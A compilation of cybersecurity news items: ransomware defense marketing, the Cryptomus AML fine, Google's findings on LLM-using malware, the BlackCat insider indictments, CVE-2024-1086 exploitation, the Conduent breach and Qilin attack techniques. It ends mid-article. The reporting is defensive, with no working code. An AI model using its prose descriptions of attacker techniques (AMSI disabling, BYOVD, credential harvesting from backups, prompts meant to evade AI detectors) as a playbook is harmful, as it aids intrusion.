The network session tracking component required deep integration with Windows networking. We extract session information by accessing internal structures that Windows uses for network file serving. Our exclusion system supports IPv4, IPv6, hostnames, and CIDR notation for network ranges. 

What makes this protection different 

Several factors distinguish the Malwarebytes approach from other solutions.

The first is comprehensiveness. Many security vendors address this partially. Remote processes attacking local files or where local processes attack remote files. An attacker who compromises a single endpoint can still encrypt the shared resources. Malwarebytes protects against both vectors. 

Second is precision. Many solutions block entire network connections or lock accounts when they detect threats. Malwarebytes is more precise. We block only the specific malicious connection. Other activities from the same device continue working normally. Only the ransomware’s access is stopped. 

Third is performance. Malwarebytes runs efficiently without slowing down your computer. 

Fourth is proven protection. This technology has been tested and deployed across many different business and home networks. It is proven to work in real world situations. 

The broader implications 

This protection does more than just stop one type of ransomware attack. It represents a new way of thinking about network-aware security. The old approach treated each device separately, but that doesn’t work when attackers use network connections to spread threats. Security solutions need to understand that attacks can come from any device on the network and target any accessible files. 

The technology we’ve built can do more than stop ransomware. The same system that tracks network connections and monitors suspicious behavior can help detect other threats, like someone trying to steal your data or access files they shouldn’t have permission to view. 

Attackers will keep evolving their methods. The attacks we’re seeing now will become more sophisticated. They might try to disguise themselves as normal computer maintenance or file management. Our protection is designed to adapt. Because it watches for suspicious patterns of behavior rather than looking for specific known attacks, it can detect new variations without needing constant updates. 

Ransomware keeps evolving, and attackers constantly find new ways to bypass security. Malwarebytes is committed to staying ahead with real innovation. This enhancement closes a critical gap that many security programs don’t address until it’s too late. 

If you’re choosing security software or reviewing your current protection, ask yourself: Does it protect against ransomware that spreads through network shares? This is becoming increasingly important as more ransomware attacks use this technique. 

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Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Cybercrime is now a global, professionalised industry. Learn how AI, ransomware, and organised groups are reshaping cybersecurity and business defence.

The post The Professionalised World of Cybercrime and the New Arms Race  appeared first on Security Boulevard.

Financial regulators in Canada this week levied $176 million in fines against Cryptomus, a digital payments platform that supports dozens of Russian cryptocurrency exchanges and websites hawking cybercrime services. The penalties for violating Canada’s anti money-laundering laws come ten months after KrebsOnSecurity noted that Cryptomus’s Vancouver street address was home to dozens of foreign currency dealers, money transfer businesses, and cryptocurrency exchanges — none of which were physically located there.

On October 16, the Financial Transactions and Reports Analysis Center of Canada (FINTRAC) imposed a $176,960,190 penalty on Xeltox Enterprises Ltd., more commonly known as the cryptocurrency payments platform Cryptomus.

FINTRAC found that Cryptomus failed to submit suspicious transaction reports in cases where there were reasonable grounds to suspect that they were related to the laundering of proceeds connected to trafficking in child sexual abuse material, fraud, ransomware payments and sanctions evasion.

“Given that numerous violations in this case were connected to trafficking in child sexual abuse material, fraud, ransomware payments and sanctions evasion, FINTRAC was compelled to take this unprecedented enforcement action,” said Sarah Paquet, director and CEO at the regulatory agency.

In December 2024, KrebsOnSecurity covered research by blockchain analyst and investigator Richard Sanders, who’d spent several months signing up for various cybercrime services, and then tracking where their customer funds go from there. The 122 services targeted in Sanders’s research all used Cryptomus, and included some of the more prominent businesses advertising on the cybercrime forums, such as:

-abuse-friendly or “bulletproof” hosting providers like anonvm[.]wtf, and PQHosting;
-sites selling aged email, financial, or social media accounts, such as verif[.]work and kopeechka[.]store;
-anonymity or “proxy” providers like crazyrdp[.]com and rdp[.]monster;
-anonymous SMS services, including anonsim[.]net and smsboss[.]pro.

Sanders found at least 56 cryptocurrency exchanges were using Cryptomus to process transactions, including financial entities with names like casher[.]su, grumbot[.]com, flymoney[.]biz, obama[.]ru and swop[.]is.

“These platforms were built for Russian speakers, and they each advertised the ability to anonymously swap one form of cryptocurrency for another,” the December 2024 story noted. “They also allowed the exchange of cryptocurrency for cash in accounts at some of Russia’s largest banks — nearly all of which are currently sanctioned by the United States and other western nations.”

Reached for comment on FINTRAC’s action, Sanders told KrebsOnSecurity he was surprised it took them so long.

“I have no idea why they don’t just sanction them or prosecute them,” Sanders said. “I’m not let down with the fine amount but it’s also just going to be the cost of doing business to them.”

The $173 million fine is a significant sum for FINTRAC, which imposed 23 such penalties last year totaling less than $26 million. But Sanders says FINTRAC still has much work to do in pursuing other shadowy money service businesses (MSBs) that are registered in Canada but are likely money laundering fronts for entities based in Russia and Iran.

In an investigation published in July 2024, CTV National News and the Investigative Journalism Foundation (IJF) documented dozens of cases across Canada where multiple MSBs are incorporated at the same address, often without the knowledge or consent of the location’s actual occupant.

Their inquiry found that the street address for Cryptomus parent Xeltox Enterprises was listed as the home of at least 76 foreign currency dealers, eight MSBs, and six cryptocurrency exchanges. At that address is a three-story building that used to be a bank and now houses a massage therapy clinic and a co-working space. But the news outlets found none of the MSBs or currency dealers were paying for services at that co-working space.

The reporters also found another collection of 97 MSBs clustered at an address for a commercial office suite in Ontario, even though there was no evidence any of these companies had ever arranged for any business services at that address.

AI malware may be in the early stages of development, but it's already being detected in cyberattacks, according to new research published this week. Google researchers looked at five AI-enabled malware samples - three of which have been observed in the wild - and found that the malware was often lacking in functionality and easily detected. Nonetheless, the research offers insight into where the use of AI in threat development may go in the future. “Although some recent implementations of novel AI techniques are experimental, they provide an early indicator of how threats are evolving and how they can potentially integrate AI capabilities into future intrusion activity,” the researchers wrote.

AI Malware Includes Infostealers, Ransomware and More

The AI-enabled malware samples included a reverse shell, a dropper, ransomware, a data miner and an infostealer. The researchers said malware families like PROMPTFLUX and PROMPTSTEAL are the first to use Large Language Models (LLMs) during execution. “These tools dynamically generate malicious scripts, obfuscate their own code to evade detection, and leverage AI models to create malicious functions on demand, rather than hard-coding them into the malware,” they said. “While still nascent, this represents a significant step toward more autonomous and adaptive malware.” “[A]dversaries are no longer leveraging artificial intelligence (AI) just for productivity gains, they are deploying novel AI-enabled malware in active operations,” they added. “This marks a new operational phase of AI abuse, involving tools that dynamically alter behavior mid-execution.” However, the new AI malware samples are only so effective. Using hashes provided by Google, they were all detected by roughly a third or more of security tools on VirusTotal, and two of the malware samples were detected by nearly 70% of security tools.

AI Malware Samples and Detection Rates

The reverse shell, FRUITSHELL (VirusTotal), is a publicly available reverse shell written in PowerShell that establishes a remote connection to a command-and-control (C2) server and enables a threat actor to launch arbitrary commands on a compromised system. “Notably, this code family contains hard-coded prompts meant to bypass detection or analysis by LLM-powered security systems,” the researchers said. It was detected by 20 of 62 security tools (32%), and has been observed in threat actor operations. The dropper, PROMPTFLUX (VirusTotal), was written in VBScript and uses an embedded decoy installer for obfuscation. It uses the Google Gemini API for regeneration by prompting the LLM to rewrite its source code and saving the new version to the Startup folder for persistence, and the malware attempts to spread by copying itself to removable drives and mapped network shares. Google said the malware appears to still be under development, as incomplete features are commented out and the malware limits Gemini API calls. “The current state of this malware does not demonstrate an ability to compromise a victim network or device,” they said. The most interesting feature of PROMPTFLUX may be its ability to periodically query Gemini to obtain new code for antivirus evasion. “While PROMPTFLUX is likely still in research and development phases, this type of obfuscation technique is an early and significant indicator of how malicious operators will likely augment their campaigns with AI moving forward,” they said. It was detected by 23 of 62 tools (37%). The ransomware, PROMPTLOCK (VirusTotal), is a proof of concept cross-platform ransomware written in Go that was developed by NYU researchers. It uses an LLM to dynamically generate malicious Lua scripts at runtime, and is capable of filesystem reconnaissance, data exfiltration, and file encryption on Windows and Linux systems. It was detected by 50 of 72 security tools on VirusTotal (69%). The data miner, PROMPTSTEAL (VirusTotal), was written in Python and uses the Hugging Face API to query the LLM “Qwen2.5-Coder-32B-Instruct” to generate Windows commands to gather system information and documents. The Russian threat group APT28 (Fancy Bear) has been observed using PROMPTSTEAL, which the researchers said is their “first observation of malware querying an LLM deployed in live operations.” It was detected by 47 of 72 security tools (65%). The infostealer, QUIETVAULT (VirusTotal), was written in JavaScript and targets GitHub and NPM tokens. The credential stealer uses an AI prompt and AI CLI tools to look for other potential secrets and exfiltrate files to GitHub. It has been observed in threat actor operations and was detected by 29 of 62 security tools (47%). The full Google report also looks at advanced persistent threat (APT) use of AI tools, and also included this interesting comparison of malicious AI tools such as WormGPT: [caption id="attachment_106590" align="aligncenter" width="1098"] Comparison of malicious AI tools (Google)[/caption]

Learn how Nevada refused to pay ransom after a 2025 cyberattack, restoring systems in 28 days—and what this reveals about ransomware readiness and policy.

The post Doubling Down in Vegas: The High-Stakes Question of Whether to Pay appeared first on Security Boulevard.

AttackIQ presents the fifth volume of Ransom Tales, an initiative focused on emulating the Tactics, Techniques, and Procedures (TTPs) exhibited by sophisticated and prominent ransomware families with the objective of empowering defenders to rigorously challenge their security controls and enhance resilience against disruptive and extortive threats. In this release, AttackIQ revisits historical ransomware operations with the introduction of three new attack graphs that emulate the operational behaviors exhibited by the REvil, DarkSide, and BlackMatter ransomware families.

The post Ransom Tales: Volume V — Throwback Edition! Emulating REvil, DarkSide, and BlackMatter Ransomware appeared first on AttackIQ.

The post Ransom Tales: Volume V — Throwback Edition! Emulating REvil, DarkSide, and BlackMatter Ransomware appeared first on Security Boulevard.

AI has fundamentally changed how we think about both innovation and risk. It’s driving new breakthroughs in medicine, design, and productivity, but it’s also giving attackers a sharper edge. Ransomware isn’t just about encrypting data anymore. It’s about double extortion, data theft, and the erosion of trust that organizations depend on to operate. As threat..

The post Rethinking Cyber Resilience in the Age of AI appeared first on Security Boulevard.

Two former cybersecurity pros were indicted with conspiring with a third unnamed co-conspirator of using the high-profile BlackCat ransomware to launch attacks in 2023 against five U.S. companies to extort payment in cryptocurrency and then splitting the proceeds.

The post Security Experts Charged with Launching BlackCat Ransomware Attacks appeared first on Security Boulevard.

Software supply chain attacks hit levels in October that were more than 30% higher than any previous month. Threat actors on dark web data leak sites claimed 41 supply chain attacks in October, 10 more than the previous high seen in April 2025, Cyble reported today in a blog post. Supply chain attacks have more than doubled since April, averaging more than 28 a month compared to the 13 attacks per month seen between early 2024 and March 2025, Cyble said (chart below). [caption id="attachment_106524" align="aligncenter" width="717"] Supply chain attacks by month 2024-2025 (Cyble)[/caption]

Reasons Behind the Record Supply Chain Attacks

The threat intelligence company cited several reasons for the increase in attacks. The primary drivers of the surge in supply chain attacks have been a “combination of critical and zero-day IT vulnerabilities and threat actors actively targeting SaaS and IT service providers,” the blog post said, noting that “the sustained increase suggests that the risk of supply chain attacks may remain elevated going forward.” Cloud security threats and AI-based phishing campaigns are other causes cited by Cyble, although voice phishing (vishing) also played a large role in recent Scattered LAPSUS$ Hunters Salesforce breaches.

IT Companies Hit Hardest as Ransomware Groups Lead Attacks

All 24 industry sectors tracked by Cyble have been hit by a supply chain attack this year, but IT and IT services companies have been by far the biggest target because of “the rich target they represent and their downstream customer reach.” The 107 supply chain attacks targeting IT companies so far this year have been more than triple those of the next nearest sectors, which include financial services, transportation, technology and government (chart below). [caption id="attachment_106523" align="aligncenter" width="723"] Supply chain attacks by sector 2025 (Cyble)[/caption] Ransomware groups have been some of the biggest contributors to the increase in supply chain attacks. Qilin and Akira have been the top two ransomware groups so far this year, and the two have also claimed “an above-average share of supply chain attacks,” Cyble said. Akira’s recent victims have included an unnamed “major open-source software project,” the threat researchers said, and the 23GB of data stolen by the group includes “internal confidential files, and reports related to software issues and internal operations,” among other information. Akira and Qilin have also claimed a number of attacks on IT companies, including some serving sensitive sectors such as government, intelligence, defense, law enforcement agencies, healthcare, industrial and energy companies, and payment processing and financial infrastructure solutions. In one incident, Qilin claimed to have stolen source code for proprietary software products used by law enforcement, criminal justice, public safety, and security organizations. In one case, Qilin claimed to have breached customers of a U.S.-based cybersecurity and cloud services provider for healthcare and dental organizations through “clear-text credentials stored in Word and Excel documents hosted on the company’s systems.” Kyber, a new ransomware group, leaked more than 141GB of project files, internal builds, databases, and backup archives allegedly stolen from “a major U.S.-based defense and aerospace contractor that provides communication, surveillance, and electronic warfare systems.” Cl0p ransomware group exploits of Oracle E-Business Suite vulnerabilities a Red Hat GitLab breach were among the other major incidents in October.

Protecting Against Supply Chain Risks

The Cyble researchers said that guarding against supply chain attacks ”can be challenging because these partners and suppliers are, by nature, trusted, but security audits and assessing third-party risk should become standard cybersecurity practices.” The researchers outlined several steps security teams can take to better protect their organizations. “The most effective place to control software supply chain risks is in the continuous integration and development (CI/CD) process, so carefully vetting partners and suppliers and requiring good security controls in contracts are essential for improving third-party security,” the threat researchers added.

This article follows our recent article on the source of cybercrime attacks – read it here – we’re now exploring the global, commercial, and political dimensions of digital warfare. Key takeaways $100 billion in global cyber damages annually – equivalent to the GDP of a mid-sized nation. $400 million in business impact from a single […]

The post Digital Warfare and the New Geopolitical Frontline appeared first on Heimdal Security Blog.

Ransomware victims paid an estimated $813 million in 2024. Nearly 40 percent of that may have gone to actors in Russia, China and North Korea, according to new analysis from cybersecurity firm Heimdal. Heimdal used recent telemetry, infrastructure tracing and ownership mapping to assess how ransomware revenue is likely distributed. The $813 million figure comes […]

The post Nearly 40% of 2024 Ransomware Payouts May Have Gone to Russia, China & North Korea appeared first on Heimdal Security Blog.

Federal prosecutors in the United States have charged three individuals for allegedly carrying out a series of ransomware attacks targeting five U.S. companies using BlackCat ransomware, also known as ALPHV, between May and November 2023. The attacks reportedly aimed to extort large sums from the victims, including medical, engineering, pharmaceutical, and technology organizations.

Insiders Accused of Orchestrating Ransomware Attacks

Kevin Tyler Martin and another accomplice, referred to in court documents as “Co-Conspirator 1,” were employed at the time as ransomware negotiators for DigitalMint, a Chicago-based company that specializes in mitigating cyberattacks. Ryan Clifford Goldberg, an incident response manager at Sygnia Cybersecurity Services, was also indicted in the scheme.  The Chicago Sun-Times first reported the charges, highlighting the unusual circumstances in which employees of a firm tasked with resolving ransomware attacks allegedly engaged in their own cybercrimes. “Employees of DigitalMint, a company that specializes in negotiating ransoms in cyberattacks, were part of a small crew, the feds say conducted five hacks that scored more than $1 million,” the outlet reported. 

Timeline and Targets of BlackCat Ransomware Attacks

Prosecutors claim the group began deploying BlackCat ransomware in May 2023. The first target was a medical company in Florida, whose servers were locked with a ransom demand of $10 million. Court records indicate that the attack ultimately netted $1.2 million, which was routed through cryptocurrency mixers to conceal the transaction. Subsequent targets included a Maryland-based pharmaceutical company, a California doctor’s office with a $5 million demand, an engineering company in California with a $1 million demand, and a Virginia drone manufacturer with a $300,000 demand.  According to FBI documents, Goldberg initially denied involvement when interviewed in June 2025 but later admitted that the unnamed co-conspirator had recruited him. He stated his motivation stemmed from personal debt and fears of federal prison, and he described how the illicit funds were transferred through multiple cryptocurrency wallets to hide the digital trail.  Both DigitalMint and Sygnia have publicly stated they were not targets of the investigation and have cooperated fully with law enforcement. DigitalMint confirmed it terminated the employees involved, emphasizing that the alleged attacks occurred outside its systems and did not compromise client data. Sygnia noted that Goldberg was no longer employed by the firm. 

Legal Proceedings and Potential Consequences

Martin and Goldberg were indicted on October 2, 2025, on multiple charges, including conspiracy to interfere with interstate commerce by extortion, interference with interstate commerce, and intentional damage to protected computers. Goldberg has been taken into custody, while Martin was released on a $400,000 bond. Both face a potential maximum sentence of 50 years in federal prison.  The timeline of attacks, according to court documents, includes: 

• May 13, 2023: Attack on the Florida medical device company; $1.274 million paid in cryptocurrency. 
• May 2023: Attack on an unspecified firm, ransom demand unknown. 
• July 2023: Attack on the California doctor’s office; $5 million ransom demand. 
• October 2023: Attack on the California engineering company; $1 million ransom demand. 
• November 2023: Attack on the Virginia drone manufacturer; $300,000 ransom demand. 

While Martin has pleaded not guilty, Goldberg allegedly admitted to participating in the attacks in coordination with the co-conspirator to “ransom some companies.” The third individual involved has not been indicted.  The FBI warns that malicious software like BlackCat ransomware can encrypt files on local drives, networked computers, and attached devices, with victims often coerced into paying ransoms to regain access to critical systems. 

Ransomware attacks continue to evolve into sophisticated strategic and psychological operations. Threat actors are always seeking ways to maximize their illicit gains, and they’ve now discovered a powerful piece to leverage: a company’s cyber insurance policy. When attackers gain access to cyber policy details, they come to a ransomware negotiation already holding some of their..

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The Cybersecurity and Infrastructure Security Agency (CISA) has issued a serious warning after confirming that a critical flaw in the Linux Kernel, tracked as CVE-2024-1086, is being actively exploited in ongoing ransomware attacks targeting Linux systems worldwide.  CVE-2024-1086 is a use-after-free vulnerability in the Linux Kernel’s netfilter: nf_tables component. The flaw arises when the nft_verdict_init() function improperly allows positive values to be used as a drop error within the hook verdict, which can lead to a double-free scenario in nf_hook_slow() when NF_DROP is mishandled.  Although the faulty code originated from a commit introduced back in February 2014, the vulnerability was not officially disclosed until January 31, 2024. A patch to address it was submitted in January 2024. 

Scope and Impact of CVE-2024-1086

The Linux Kernel flaw affects versions from 3.15 up to 6.8-rc1, meaning a wide range of major Linux distributions are vulnerable. Impacted systems include:  Ubuntu: 18.04, 20.04, 22.04, and 23.10  Red Hat Enterprise Linux (RHEL): 

• RHEL 7 – 3.10.0-1062.4.1.el7 
• RHEL 8 – 4.18.0-147.el8 
• RHEL 9 – 5.14.0-362.24.2.el9_3 

Debian: kernel version 6.1.76-1  Exploitation of CVE-2024-1086 allows attackers with local access to escalate their privileges to root level, granting full control of compromised systems. With root access, threat actors can disable security protections, install malware, move laterally within a network, steal data, and deploy ransomware payloads. 

Ransomware Connection and Agency Action

CISA has now confirmed that CVE-2024-1086 is being used in ransomware attacks. The vulnerability was initially added to the agency’s Known Exploited Vulnerabilities (KEV) catalog on May 30, 2024, with federal agencies ordered to apply security patches or mitigations no later than June 20, 2024.  In its official statement, CISA described this Linux Kernel flaw as a “frequent attack vector for malicious cyber actors,” emphasizing the significant risks it poses to government and enterprise networks alike. Agencies and organizations are instructed to follow vendor guidance for patching or discontinue use of affected products if no fixes are available. 

Exploit Availability and Threat Landscape

In late March 2024, a security researcher using the alias Notselwyn released a detailed write-up and a proof-of-concept (PoC) exploit for CVE-2024-1086. The PoC demonstrated how attackers could achieve local privilege escalation on Linux kernel versions ranging from 5.14 to 6.6.  According to security researchers, the exploit has proven to be highly reliable, showing success rates exceeding 99% in some tests. The public availability of this exploit code, combined with confirmed use in ransomware operations, significantly increases the risk of widespread attacks. 

Mitigation and Recommended Actions

System administrators are advised to verify immediately whether their Linux installations are affected. Running the command uname -r will reveal the kernel version in use. If the version falls between 3.15 and 6.8-rc1, the system may still be vulnerable.  To protect against exploitation: 

• Update to Linux Kernel 6.8-rc2 or later, or apply vendor-provided patches. 
• Blocklist the nf_tables module if it is not required. 
• Restrict access to user namespaces to minimize the attack surface. 
• Consider loading the Linux Kernel Runtime Guard (LKRG) module to add runtime protection, though administrators should be aware that it may affect system stability. 

Update – October 30, 2025: New information confirms that Conduent’s 2024 breach has impacted over 10.5 million people, based on notifications filed with multiple state attorneys general. The largest disclosure came from the Oregon government, which reported a total of 10.5 million affected US residents. Additional notices listed 4 million in Texas, 76,000 in Washington, and several hundred in Maine.

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Even if you’ve never heard of Conduent, you could be one of the many people caught up in its recent data breach. Conduent provides technology services to several US state governments, including Medicaid, child support, and food programs, with the company stating that it “supports approximately 100 million US residents across various government health programs, helping state and federal agencies.”

In a breach notification, Conduent says:

“On January 13, 2025, we discovered that we were the victim of a cyber incident that impacted a limited portion of our network.”

An investigation found that an unauthorized third party had access to its systems from October 21, 2024, until the intrusion was stopped on discovery.

Breach notification letters will be sent to affected individuals, detailing what personal information was exposed. According to The Record, Conduent said more than 400,000 people in Texas were impacted, with data including Social Security numbers, medical information and health insurance details. Another 76,000 people in Washington, 48,000 in South Carolina, 10,000 in New Hampshire and 378 in Maine were also affected. Conduent has filed additional breach notices in Oregon, Massachusetts, California, and New Hampshire.

The stolen data sets may include:​

• Names
• Social Security numbers
• Dates of birth
• Medical information
• Health insurance details

If all of those apply, it’s certainly enough for criminals to commit identity theft.

Ransomware group SafePay reportedly claimed responsibility for the attack and listed Conduent on its leak site.

SafePay, which emerged in late 2024, threatened to publish or sell stolen data if its demands weren’t met, claiming to have exfiltrated a staggering 8.5 terabytes of files from Conduent’s systems. Though relatively new on the scene, SafePay has quickly built a reputation for large-scale extortion targeting high-profile clients globally.

Breaches like this reinforce the need for robust cybersecurity and incident response in the public sector. For the potentially millions of people affected, stay alert to fraud and identity theft.

Protecting yourself after a data breach

If you think you’ve been the victim of this or any other data breach, here are steps you can take to protect yourself:

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened and follow any specific advice it offers.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
• Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password, but 2FA that relies on a FIDO2 device can’t be phished.
• Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the company’s website to see if it’s contacting victims and verify the identity of anyone who contacts you using a different communication channel.
• Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
• Consider not storing your card details. It’s definitely more convenient to let sites remember your card details, but we highly recommend not storing that information on websites.
• Set up identity monitoring, which alerts you if your personal information is found being traded illegally online and helps you recover after.

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We don’t just report on threats – we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

A survey of 2,000 senior security decision-makers published this week finds more than three quarters (78%) work for organizations that experienced an email security breach in the past 12 months. Conducted by the market research firm Vanson Bourne on behalf of Barracuda Networks, the survey also finds that on average the cost of recovering from..

The post Survey Surfaces Rise in Email Security Incidents Tied to Ransomware appeared first on Security Boulevard.

Paying attackers a ransom to recover from ransomware attacks fails 41% of the time, and even when recovery keys work, ransomware victims don’t always recover all of their data. That’s one of the findings from cyber insurer Hiscox’s Cyber Readiness Report 2025, which is based on interviews with 5,750 organizations in seven countries. The report found that 27% of those organizations had experienced a ransomware attack in the preceding 12 months. Among the organizations that paid a ransom, 60% recovered “some or all of their data,” the report said, but 41% “were given a recovery key, but still had to rebuild their systems.” It gets worse. For 31% of ransomware victims who paid a ransom, attackers demanded more money, the report found. And additional attacks were sustained by 27% of those who paid a ransom, “though not necessarily an attack from the same entity.” “No company enjoys rewarding bad players for hijacking their data, but when it comes to ransomware attacks, it is common for organisations to make every effort to recover what could be lost,” Hiscox said. “That includes paying the ransom where that is demanded.” “Paying a ransom does not always solve the problem,” the report noted.

IoT Devices Most Common Attack Vector

Vulnerabilities are a key initial attack vector noted by the report. Internet of Things (IoT) devices owned by the organizations were the most common point of entry for cyberattacks (33%), followed by supply chain vulnerabilities (28%), and cloud-based corporate servers (27%). AI tools and software were attackers’ initial point of entry for 15% of organizations. Ransomware victims aren’t the only ones at risk of multiple cyberattacks, as the report found that one cyberattack significantly raise the risk for multiple cyberattacks. Of the organizations surveyed, 59% had experienced at least one cyberattack in the preceding 12 months. Among those organizations, larger companies or those with higher revenue were more likely to experience additional incidents. Companies with more than $1 million in revenue that had experienced an attack in the last year had more averaged six cyberattacks, compared to four for those businesses with less than $1 million in revenue. Businesses with 50-249 employees had an average of seven attacks in the last year compared to companies with 11-49 employees, which averaged five attacks. Nonprofits were the hardest hit sector, averaging eight incidents, while organizations in the chemical, property, and media sectors averaged three cyberattacks.

Most Favor Ransomware Payment Disclosure

The report noted that a new law in Australia requires companies to disclose the amount of ransoms paid, and 71% of respondents agree that such disclosures should be mandatory. However, 53% believe that private companies should not be obligated to disclose ransomware payments. While the report paints a challenging picture for cybersecurity defenders, there was one bright spot: 83% of respondents reported improved cyber resilience at their company in the last 12 months.

This year to date, ransomware cases have zoomed up 47% over the same period last year, according to data compiled by NordStellar.

The post Surprised, Not Surprised, Ransomware Attacks Have Ticked Up  appeared first on Security Boulevard.

The Qilin ransomware group has been by far the most active ransomware group over the last seven months, so two new research reports detailing some of the group’s tactics, techniques and procedures (TTPs) are worth noting. Trend Micro researchers examined a Qilin attack – the group is identified as “Agenda” by Trend – that deployed the group’s Linux ransomware variant on Windows systems, while Cisco Talos also looked at the group’s methods, including defensive evasion techniques. Cyble threat intelligence researchers have documented 677 ransomware attacks by Qilin since the group emerged as the top ransomware group following the decline of RansomHub in what may have been an act of sabotage. Those 677 attacks are more than double those of second-place Akira (chart below). [caption id="attachment_106327" align="aligncenter" width="1200"] Top ransomware groups April-October 2025 (Cyble)[/caption]

Qilin Ransomware Group Deploys Linux Ransomware on Windows

The Qilin ransomware attack documented by Trend Research combined WinSCP for secure file transfer and Splashtop Remote for executing the Linux ransomware binary on Windows machines, in addition to using Bring Your Own Vulnerable Driver (BYOVD) for defense evasion and deployment of multiple SOCKS proxy instances to obfuscate command-and-control (C&C) traffic Qilin installed legitimate tools like AnyDesk through Atera’s remote monitoring and management (RMM) platform and ScreenConnect for command execution. The attackers also targeted Veeam backup infrastructure using custom credential extraction tools, “systematically harvesting credentials from multiple backup databases to compromise the organization’s disaster recovery capabilities before deploying the ransomware payload,” the researchers said. “This attack challenges traditional Windows-focused security controls,” the researchers wrote. “The deployment of Linux ransomware on Windows systems demonstrates how threat actors are adapting to bypass endpoint detection systems not configured to detect or prevent Linux binaries executing through remote management channels.” Initial access appears to have come from a social engineering campaign involving fake CAPTCHA pages, because investigators “identified that multiple endpoints within the compromised environment had connected to malicious fake CAPTCHA pages hosted on Cloudflare R2 storage infrastructure. These pages presented convincing replicas of legitimate Google CAPTCHA verification prompts.” Those pages apparently delivered infostealers to the endpoints, harvesting authentication tokens, browser cookies, and stored credentials. “The presence of valid credentials used throughout the attack chain strongly suggests that these stolen credentials provided the ... threat actors with the valid accounts necessary for their initial access into the environment,” the researchers said. “This assessment is further supported by the attackers’ ability to bypass multifactor authentication (MFA) and move laterally using legitimate user sessions, indicating they possessed harvested credentials rather than relying on traditional exploitation techniques.” The attackers used a SOCKS proxy DLL for remote access and command execution, loaded directly into memory using the legitimate Windows rundll32.exe process. The legitimate administrator account password was also reset to prevent admins from regaining access. ScreenConnect was used to execute discovery commands via temporary command scripts, “systematically enumerating domain trusts and identifying privileged accounts while appearing as normal administrative activity.” Network scanning tools like NetScan were also used to discover additional systems, services, and potential lateral movement targets, while PuTTY SSH clients were used to facilitate lateral movement to Linux systems within the environment.

Qilin Targeting Veeam Backups to Harvest Credentials

The Qilin attackers targeted Veeam backup infrastructure to harvest credentials, “recognizing that backup systems often store credentials for accessing multiple systems across the enterprise,” the Trend researchers said. PowerShell scripts with base64-encoded payloads were used to extract and decrypt stored credentials from Veeam databases. “When decoded, these scripts revealed systematic targeting of multiple Veeam backup databases, each containing credentials for different segments of the infrastructure,” the researchers said. “This approach provided the attackers with a comprehensive set of credentials for remote systems, domain controllers, and critical servers stored within the backup infrastructure.”

Qilin Defense Evasion Tactics

The attackers deployed “sophisticated anti-analysis tools to evade security solutions,” Trend said, with 2stX.exe and Or2.exe using the eskle.sys driver for anti-antivirus capabilities through a BYOVD attack. The eskle.sys driver was used to disable security solutions, terminate processes, and evade detection, they said. Cisco Talos researchers documented Qilin defense evasion techniques that included  using obfuscated PowerShell code that employed numeric encoding. Executing the PowerShell commands makes three configuration changes, the Talos researchers said. Disabling Windows Antimalware Scan Interface (AMSI) prevents interference with execution of payloads, and disabling TLS certificate validation allows the attackers to contact malicious domains or C2 servers. The third configuration change enables Restricted Admin to force RDP authentication to rely on NT hashes or Kerberos tickets rather than passwords. “Although passwords are not retained, NT hashes remain on the system and can be abused by an attacker to impersonate the user,” Talos said. The Talos researchers observed “traces of attempts to disable EDR using multiple methods,” such as commands that launch the EDR’s uninstall.exe file or attempts to stop services using the sc command. Use of open source tools like dark-kill and HRSword was also observed. “The use of legitimate tools and cross-platform execution methods makes detection significantly more challenging,” the Trend researchers said. “Organizations must urgently reassess their security posture to account for these unconventional attack vectors and implement enhanced monitoring of remote management tools and backup system access.”

ReliaQuest’s Threat Spotlight: How Automation, Customization, and Tooling Signal Next Ransomware exposes how elite Ransomware-as-a-Service (RaaS) groups thrive. Automation, advanced tools, and attack customization attract top affiliates and drive faster, more effective ransomware operations.

The post Three Factors Determine Whether a Ransomware Group is Successful  appeared first on Security Boulevard.

The City Council of North Canton, Ohio, is preparing to adopt a new cybersecurity policy designed to strengthen digital defenses and comply with statewide regulations. The legislation, enacted under Ohio Revised Code Section 9.64 through House Bill 96, mandates that all political subdivisions, including cities, villages, and counties, establish documented cybersecurity protocols by January 1, 2026.   These measures aim to prevent data breaches, ransomware incidents, and other cyberattacks that have targeted local governments across the nation. 

North Canton City Council to Vote on New Cybersecurity Policy

The North Canton City Council is scheduled to deliberate on the cybersecurity legislation on October 27, 2025, with discussions taking place during the Committee of the Whole Meeting held earlier that week on October 20 at the North Canton Civic Center. The meeting is open to the public and available via livestream on the city’s YouTube page.  The proposed resolution directs the Mayor of North Canton, through the city’s Managed IT Services provider, AtNet Plus, to “set and adopt standards safeguarding against cybersecurity threats and ransomware attacks.” The legislation also explicitly prohibits the city from paying any ransom in the event of a cyberattack unless the City Council formally authorizes such a payment through a specific ordinance or resolution.  According to the official document, this emergency resolution is intended to ensure that North Canton’s cybersecurity policy is enacted and operational before the state’s January 1, 2026, deadline. 

Legislative Context and City Preparedness

Under the state’s new cybersecurity framework, local governments must develop systems capable of detecting threats, outline procedures for responding to incidents, and provide ongoing cybersecurity training for municipal employees. Additionally, any ransomware payments must receive prior approval from the governing legislative body, with justification that such actions serve the best interests of the municipality.  Cities are also required to report any cyber incidents to the Ohio Division of Homeland Security and the Auditor of State, while maintaining confidentiality for cybersecurity documents and incident reports, ensuring they are not classified as public records.  “Municipalities are increasingly becoming targets,” said David Metheney, Ward 2 representative and chair of the Personnel and Safety Committee, during a recent assembly. “Without adequate security, their sensitive information is at risk.” Metheney emphasized the urgency of adopting a formal cybersecurity framework to align with the new state mandates and protect North Canton’s data infrastructure. 

Aligning City Practices with State Requirements

